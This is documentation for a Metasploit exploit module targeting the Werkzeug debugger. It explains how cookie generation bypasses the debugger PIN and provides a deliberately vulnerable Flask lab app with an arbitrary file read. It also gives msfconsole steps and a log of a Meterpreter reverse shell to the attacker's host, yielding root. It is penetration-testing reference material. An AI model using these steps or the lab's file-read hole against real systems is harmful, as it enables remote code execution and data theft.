Back to Metasploit Framework

Werkzeug Debug Rce

documentation/modules/exploit/multi/http/werkzeug_debug_rce.md

6.4.13121.6 KB
Original Source

Vulnerable Application

Background

The Werkzeug debugger allows developers to execute python commands in a web application either when an exception is not caught by the application, or via the dedicated console if enabled.

Werkzeug is included with Flask, but the debugger is not enabled by default. It is also included in other projects, for example RunServerPlus, part of django-extensions and may also be used alone.

The Werkzeug documentation states: "The debugger allows the execution of arbitrary code which makes it a major security risk. The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production. Production means anything that is not development, and anything that is publicly accessible."

Additionally, the Flask documentation states: "Do not run the development server, or enable the built-in debugger, in a production environment. The debugger allows executing arbitrary Python code from the browser. It’s protected by a pin, but that should not be relied on for security."

Of course this doesn't prevent developers from mistakenly enabling it in production!

Exploit Details

Werkzeug versions 0.10 and older of did not include the PIN security feature, therefore if the debugger was enabled then arbitrary code execution could be easily achieved. Versions 0.11 and above enable the PIN by default, though it can be disabled by the application developer. The format of the PIN is 9 numerical digits, and can include hyphens (which are ignored by the application.) I.e. 123456789 is the same as 123-456-789. The PIN is logged to stdout when the PIN prompt is shown to the user, therefore if access to stdout is possible then it may be able to obtain the PIN using that feature.

A custom PIN can be set by the application developer as an environment variable, but it is more commonly generated by Werkzeug using an algorithm that is seeded by information about the environment that the application is running in.

Therefore, if the debugger or console is enabled and is not protected by a PIN, or if it is possible to obtain the PIN, cookie or the required information about the environment that the app is running in (e.g. by exploiting a separate path traversal bug in the app) then remote Python code execution will be possible.

If the debugger is "secured" with a PIN then, it will be automatically locked after 11 unsuccessful authentication attempts, requiring a restart to re-enable PIN based authentication. This can be avoided by calculating the value of a cookie and sending that to the debugger instead of sending the PIN, which is what this module does, unless the Known-PIN method of exploitation is used. Furthermore, authentication using a cookie works even if the PIN-based authentication method has been locked because of too many failed authentication attempts. This means that this exploit will work even if the debugger PIN-authentication is locked.

HackTheBox had a challenge called "Agile" that required this vulnerability to be exploited in order to gain an initial foothold. As a result there are many walkthroughs available online that explain how a valid PIN can be generated using the algorithm in the Werkzeug source code along with information about the environment. As far as I can tell, none of these walkthroughs mention that a cookie can also be generated, and that a cookie will bypass a PIN-locked debugger. Neither do they mention that very old versions of Werkzeug don't require PIN or that the PIN/cookie generation algorithm has changed over time.

To support the different PIN/cookie generation algorithms, this module supports multiple different versions of Werkzeug as the target.

It should be noted that version 3.0.3 includes a check to see ensure that requests that include python code to be executed by the debugger must come from localhost or 127.0.0.1. This is done by checking the Host HTTP header, and therefore can in some cases be bypassed by setting the Host header manually using the VHOST parameter in this module.

Tested Versions

This module has been verified against the following versions of Werkzeug:

  • 3.0.3 on Debian 12, Windows 11 and macOS 14.6
  • 1.1.4 on Debian 12
  • 1.0.1 on Debian 12
  • 0.11.5 on Debian 12
  • 0.10 on Debian 12

Sample Vulnerable Application

The following Docker Compose file, Dockerfiles and Python script can be used to build and run a set of containers that have the console enabled (at /console) and also contains endpoints that cause the application to attempt to read the content of a file and include it in the response. These endpoints can be used for arbitrary file read, but also for triggering the debugger, for example by requesting the content of a file that doesn't exist in the container.

compose.yaml

services:
  werkzeug-3.0.3:
    build:
      dockerfile: werkzeug-3.0.3.Dockerfile
    ports:
      - "80:80"
  werkzeug-1.0.1:
    build:
      dockerfile: werkzeug-1.0.1.Dockerfile
    ports:
      - "81:80"
  werkzeug-0.11.5:
    build:
      dockerfile: werkzeug-0.11.5.Dockerfile
    ports:
      - "82:80"
  werkzeug-0.10:
    build:
      dockerfile: werkzeug-0.10.Dockerfile
    ports:
      - "83:80"
  werkzeug-3.0.3-basicauth-custompin:
    build:
      dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
    environment:
      WERKZEUG_DEBUG_PIN: 1234
    ports:
      - "84:80"
  werkzeug-3.0.3-noevalex:
    build:
      dockerfile: werkzeug-3.0.3.Dockerfile
    ports:
      - "85:80"
    entrypoint:
      - ./app.py
      - --no-evalex

werkzeug-3.0.3.Dockerfile

# syntax=docker/dockerfile:1
FROM python:3
RUN pip install werkzeug==3.0.3 flask==3.0.3
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]

werkzeug-1.0.1.Dockerfile

# syntax=docker/dockerfile:1
FROM python:2
RUN pip install werkzeug==1.0.1 flask==1.1.4
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]

werkzeug-0.11.5.Dockerfile

# syntax=docker/dockerfile:1
FROM python:2
RUN pip install werkzeug==0.11.5 flask==0.12.5
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]

werkzeug-0.10.Dockerfile

# syntax=docker/dockerfile:1
FROM python:2
RUN pip install werkzeug==0.10 flask==0.12.5
COPY report.txt .
COPY --chmod=744 app.py .
EXPOSE 80
ENTRYPOINT ["./app.py"]

werkzeug-3.0.3-basicauth.Dockerfile

# syntax=docker/dockerfile:1
FROM python:3
RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
COPY report.txt .
COPY --chmod=744 app-basicauth.py app.py
EXPOSE 80
ENTRYPOINT ["./app.py"]

app.py

#!/usr/bin/env python

import click
from flask import Flask, request, url_for, make_response
from sys import argv

app = Flask(__name__)

@app.route("/")
def index():
    return (
        '<p><a href="' + url_for("getdownload", file="report.txt") + '">'
        'Download Report Using GET</a></p>'
        '<p><form method="post" action="' + url_for("postdownload") + '">'
        '<input name="file" type=hidden value="report.txt">'
        '<input type="submit" value="Download Report Using POST">'
        '</form></p>'
)

def build_response(filename):
    with open(filename) as file:
         response = make_response(file.read())
         response.headers['Content-disposition'] = 'attachment'
         return response

@app.route("/getdownload")
def getdownload():
    return build_response(request.args.get('file'))

@app.route("/postdownload", methods=['POST', 'PUT'])
def postdownload():
    return build_response(request.form['file'])

@click.command()
@click.option("--no-evalex", is_flag=True, default=False)
def runserver(no_evalex):
    evalex = not no_evalex
    app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
            use_reloader=False, use_evalex=evalex)

if __name__ == '__main__':
    runserver()

app-basicauth.py

#!/usr/bin/env python

import click
from flask import Flask, request, url_for, make_response
from sys import argv

from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)

auth = HTTPBasicAuth()
users = {"admin": generate_password_hash("admin")}

@auth.verify_password
def verify_password(username, password):
    if username in users and \
            check_password_hash(users.get(username), password):
        return username

@app.route("/")
@auth.login_required
def index():
    return (
        '<p><a href="' + url_for("getdownload", file="report.txt") + '">'
        'Download Report Using GET</a></p>'
        '<p><form method="post" action="' + url_for("postdownload") + '">'
        '<input name="file" type=hidden value="report.txt">'
        '<input type="submit" value="Download Report Using POST">'
        '</form></p>'
)

def build_response(filename):
    with open(filename) as file:
         response = make_response(file.read())
         response.headers['Content-disposition'] = 'attachment'
         return response

@app.route("/getdownload")
@auth.login_required
def getdownload():
    return build_response(request.args.get('file'))

@app.route("/postdownload", methods=['POST', 'PUT'])
@auth.login_required
def postdownload():
    return build_response(request.form['file'])

@click.command()
@click.option("--no-evalex", is_flag=True, default=False)
def runserver(no_evalex):
    evalex = not no_evalex
    app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
            use_reloader=False, use_evalex=evalex)

if __name__ == '__main__':
    runserver()

report.txt

Hi there, I'm a sample report

Verification Steps

  1. Run the docker containers
  2. Start msfconsole

Werkzeug 3.0.3 using /console

  1. Do: use exploit/multi/http/werkzeug_debug_rce
  2. Do: set RHOSTS <Iip>
  3. Do: set LHOST <ip>
  4. Do: set VHOST 127.0.0.1
  5. Do: set MACADDRESS <mac-address>
  6. Do: set MACHINEID <machine-id>
  7. Do: set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py (where <python3.version> matches the version on the system being exploited)
  8. Do: run
  9. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 3.0.3 using debugger (GET)

  1. Do: set TARGETURI /getdownload?file=
  2. Do: run
  3. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 3.0.3 using debugger (POST)

  1. Do: set METHOD POST
  2. Do: set TARGETURI /postdownload
  3. Do: set REQUESTBODY file=
  4. Do: run
  5. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 1.0.1 using /console

  1. Do: unset METHOD
  2. Do: unset TARGETURI
  3. Do: unset REQUESTBODY
  4. Do: set RPORT 81
  5. Do: set TARGET 1
  6. Do: set MACADDRESS <mac-address>
  7. Do: set MACHINEID <machine-id>
  8. Do: set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc
  9. Do: run
  10. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 1.0.1 using /debugger (GET)

  1. Do: set TARGETURI /getdownload?file=
  2. Do: run
  3. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 1.0.1 using debugger (POST)

  1. Do: set METHOD POST
  2. Do: set TARGETURI /postdownload
  3. Do: set REQUESTBODY file=
  4. Do: run
  5. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 0.11.5 using /console

  1. Do: unset METHOD
  2. Do: unset TARGETURI
  3. Do: unset REQUESTBODY
  4. Do: set RPORT 82
  5. Do: set TARGET 2
  6. Do: set MACADDRESS <mac-address>
  7. Do: set MACHINEID <machine-id>
  8. Do: run
  9. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 0.11.5 using /debugger (GET)

  1. Do: set TARGETURI /getdownload?file=
  2. Do: run
  3. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 0.11.5 using debugger (POST)

  1. Do: set METHOD POST
  2. Do: set TARGETURI /postdownload
  3. Do: set REQUESTBODY file=
  4. Do: run
  5. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 0.10.1 (No authentication required) using /console

  1. Do: unset METHOD
  2. Do: unset TARGETURI
  3. Do: unset REQUESTBODY
  4. Do: set RPORT 83
  5. Do: set TARGET 3
  6. Do: set AUTHMODE none
  7. Do: set MACADDRESS <mac-address>
  8. Do: set MACHINEID <machine-id>
  9. Do: run
  10. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 0.10.1 (No authentication required) using /debugger (GET)

  1. Do: set TARGETURI /getdownload?file=
  2. Do: run
  3. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 0.10.1 (no authentication required) using debugger (POST)

  1. Do: set METHOD POST
  2. Do: set TARGETURI /postdownload
  3. Do: set REQUESTBODY file=
  4. Do: run
  5. You should see a PIN and a cookie being logged then get a shell.

Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth

  1. Do: set RPORT 84
  2. Do: set TARGET 0
  3. Do: set AUTHMODE known-PIN
  4. Do: set HTTPUSERNAME admin
  5. Do: set HTTPPASSWORD admin
  6. Do: set PIN 1234
  7. Do: run
  8. You should see a cookie being logged then get a shell.

Werkzeug 3.0.3 interactive debugger disabled

  1. Do: set RPORT 85
  2. Do: unset AUTHMODE
  3. Do: set MACADDRESS <mac-address>
  4. Do: set MACHINEID <machine-id>
  5. Do: set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py (where <python3.version> matches the version on the system being exploited)
  6. Do: run
  7. You should see a failure due to the check failing.

Options

AUTHMODE

Method of authentication. Valid values are:

  • generated-cookie: Cookie generated from information provided about the application's environment. When this mode is used, the following additional options must be set:
    • APPNAME: The name of the application according to Werkzeug. This is often Flask, DebuggedApplication or wsgi_app. Used along with other information to generate a PIN and cookie.
    • CGROUP: Control group. This may be an empty string (''), for example if the OS running the app is Linux and supports cgroup v2, or the OS is not Linux. If you have path traversal on Linux, this could be read from /proc/self/cgroup
    • FLASKPATH: Path to (and including) site-packages/flask/app.py. If you have triggered the debugger via an exception, it will be at the top of the stack trace. E.g. /usr/local/lib/python3.12/site-packages/flask/app.py. Note that the file extension may need to be changed to .pyc
    • MACADDRESS: The MAC address of the system that the application is running on. If you have path traversal on Linux, this could be read from /sys/class/net/eth0/
    • MACHINEID:
      • On Linux: If you have path traversal on Linux, this could be read from /etc/machine-id, or if that doesn't exist, /proc/sys/kernel/random/boot_id.
      • On Windows: This is a UUID stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid.
      • On macOS,: This is the UTF-8 encoded serial number of the system (lower-case hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes 4e3054415245414c53455249414c000000000000000000000000000000000000. This can be retrieved with the following command ioreg -c IOPlatformExpertDevice | grep \"serial-number\"
    • MODULENAME: Name of the application module. Often flask.app or werkzeug.debug
    • SERVICEUSER: User account name that the service is running under. This may be an empty string ('') in some cases . If you have path traversal on Linux, you may be able to read this from /proc/self/environ
  • known-cookie: Cookie provided by user. When this mode is used, the following additional option must be set:
    • COOKIE: The HTTP cookie to use for authentication to the debugger.
  • known-PIN: Does not bypass PIN-locked applications. PIN provided by user. When this mode is used, the following additional option must be set:
    • PIN: Known 6 digit PIN to use for authentication. This can be set to a custom value by the application developer, in which case generating the pin won't work. However, if you have path traversal, you may be able to retrieve the PIN by reading the application source code, or on Linux by reading /proc/self/environ to obtain the value. of the WERKZEUG_DEBUG_PIN environment variable. It may also be possible to obtain the PIN by accessing the logging that Werkzeug prints to stdout.
  • none: For applications that don't require authentication. I.e. Werkzeug version 0.10 or lower or PIN authentication has been disabled by the application developer.

METHOD

HTTP method used to access debugger or console. This is typically GET if the TARGETURI is /console but it may be necessary to use other methods to trigger the debugger. Valid values are: GET, HEAD, POST, PUT, DELETE, OPTIONS, TRACE and PATCH. When METHOD is POST, PUT or PATCH the following additional option may be set:

  • REQUESTBODY: Body to send in POST/PUT/PATCH request, if required to trigger the debugger. E.g. invalid form value to raise an exception. When this is set the following additional option may be set:
    • REQUESTCONTENTTYPE: Request body encoding. Default: application/x-www-form-urlencoded

TARGETURI

The path to the console or resource used to trigger the debugger. Default value is /console.

VHOST

The value to use in the HTTP Host header. It may be necessary to set this to 127.0.0.1 or localhost if the target Werkzeug version is 3.0.3 or later, however this may hamper connectivity if the Host header is validated before the request is passed to the application.

TARGET

Determines which algorithm the exploit module will use to generate a pin and cookie. Valid values are:

  • 0: Werkzeug > 1.0.1 (Flask > 1.1.4)
  • 1: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)
  • 2: Werkzeug 0.11 - 0.11.5 (Flask < 1.0)
  • 3: Werkzeug < 0.11 (Flask < 1.0)

Scenarios

Example utilizing the previously mentioned sample app listed above.

$ msfconsole -q                         
msf > use exploit/multi/http/werkzeug_debug_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
RHOSTS => 192.168.23.5
msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
LHOST => 192.168.23.117
msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
VHOST => 127.0.0.1
msf exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
MACADDRESS => 02:42:ac:12:00:04
msf exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
msf exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
msf exploit(multi/http/werkzeug_debug_rce) > run

[*] Started reverse TCP handler on 192.168.23.117:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Generated authentication PIN: 105-774-671
[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
[*] Sending stage (24772 bytes) to 192.168.23.5
[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100

meterpreter > getpid
Current pid: 38
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : 3eb759665d5f
OS              : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
Architecture    : aarch64
System Language : C
Meterpreter     : python/linux
meterpreter > shell
Process 41 created.
Channel 1 created.

ls
app.py
bin
boot
dev
etc
home
lib
media
mnt
opt
proc
report.txt
root
run
sbin
srv
sys
tmp
usr
var
exit

Credits

  • 2015 - h00die (mike[at]shorebreaksecurity.com)
    • Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication.
  • 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec)
    • Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms:
    • Generated Cookie (bypasses PIN-lock)
    • Known-Cookie (bypasses PIN-lock)
    • Known-PIN